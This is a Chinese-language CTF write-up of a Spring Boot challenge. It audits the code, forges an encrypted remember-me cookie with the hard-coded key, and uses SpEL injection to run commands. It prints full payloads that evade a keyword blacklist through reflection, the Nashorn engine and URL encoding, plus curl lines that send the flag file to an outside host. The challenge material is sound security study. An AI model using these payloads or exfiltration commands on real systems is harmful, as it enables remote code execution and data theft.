[Code-Breaking Puzzles]javacon
题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
题目分析
登录框
随意输入,会提示“登陆失败,用户名或者密码错误!”。
然后就进行代码审计,程序结构如图:
首先我们可以从SpringBoot的配置 application.yml看起:
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1
该文件分了3个模块:
- spring模块定义了HTML模板、UTF-8编码以及无缓存;
- keywords定义了黑名单,过滤了“java.lang”、“Runtime”、“exec.(”等;
- user模块定义了用户名和密码,还有一个记住我的值。
使用这个密码就能够成功登陆,不过然并卵。
Spring作为MVC框架,那主要就是从Controller看路由功能定义:
MainController.class
有几个路由,我们从登录功能看起:
@GetMapping({"/login"})
public String login() {
return "login";
}
@GetMapping({"/login-error"})
public String loginError(Model model) {
model.addAttribute("loginError", true);
model.addAttribute("errorMsg", "登陆失败,用户名或者密码错误!");
return "login";
}
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
首先判断用户传进来的用户名和密码,是否和UserConfig中保存的用户名和密码一致,不一致就重定向到 /login-error 路由返回错误信息。一致就把用户名存进session中的username字段,然后判断传进来的remember-me字段是否为空,不为空则将用户名加密之后放到cookie中的remember-me字段,最后重定向到 / 路由。
接着看 / 路由:
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
这里会先判断cookie中的remember-me字段是否为空,不为空就对该字段的值进行解密,将解密得到的值放到session中的username字段。然后从session中取出username字段,判断是否非空,是则往model中添加名字为name的值,而该值是通过this.getAdvanceValue(username.toString())
方法获取的,跟过去看看:
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
这里对传进来的内容使用正则匹配是否在配置文件定义的黑名单中,在就直接报错,不在则对该内容进行SpEL表达式解析。从这里可知,只要我们能够成功绕过黑名单检测,就可以实现SpEL表达式注入。
SpEL注入
首先我们要想控制控制SpEL表达式的值就得控制传进getAdvanceValue()
方法的username属性,这个属性是在session中取到的,而session中的字段是在cookie中的remember-me字段值进行解密之后得到的。因此我们只要修改cookie中的remember-me字段值就能够控制输入的username属性,也就能控制SpEL表达式的值。
接着就是要绕过黑名单:
java中常见的命令执行方式为:
Runtime.getRuntime().exec("clac")
但在这个题目中使用了黑名单。
所以这里我们需要使用反射来构造一条调用链,这样就可以在关键字处使用字符串拼接来达到绕过黑名单的效果。
Windows场景
本地弹计算器
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});
注意,以new String[]{"cmd","/C","xx"}
这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}
。
但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}
把加密类复制出来,自己手动构造remember-me的值:
package vul;
public class Main {
public static void main(String[] args) {
String paylaod = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}";
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", paylaod));
}
}
这里加密的key和initVector都是在源码中写死的,将得到的加密后字符传到cookie中:
确定后刷新网页,即可弹出计算器:
回带flag
这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}
但是在Windows上这段代码不能将命令执行带回来,因为Windows中cmd不会解析反引号,只会将命令原封不动地返回过来:
既然这样,就使用curl的-T参数往外上传文件,然后通过ftp接收即可:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl -T flag.txt ftp://127.0.0.1/"})}
可以看到传过去之后本地接收到了文件。
Linux场景
一般题目环境为Linux,这里直接换如下命令即可,其中curl命令可直接结合反引号使用,中间加上base64命令将所有结果编码以便于可以带回所有内容而非只有第一行结果,最后tr
命令将结果中的换行符换为-
以便于后面解码的使用:
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`"})}
JavaScript引擎Bypass
在Java 1.8之后,Nashorn取代了Rhino(Java 1.6/1.7)成为Java的嵌入式JavaScript引擎。
也就是说,可以通过Java调用该JS引擎,然后通过JS引擎调用eval()来执行Java代码。
基本payload
基本Payload示例如下:
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)}
要想在本题执行命令,需要结合前面构造的反射机制来实现:
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)}
URL编码
前面的payload有点麻烦,感觉多此一举,这里我们可以升级一下payload,进行URL编码,可以绕过一些过滤机制,并无需结合反射机制:
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")))}
其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream()
,不加最后的getInputStream()也行,只是为了后面回显铺垫。
添加回显
增加回显的payload如下,其中URL编码内容为java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()
:
#{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}
最后这里的URL编码绕过我没有复现成功。。。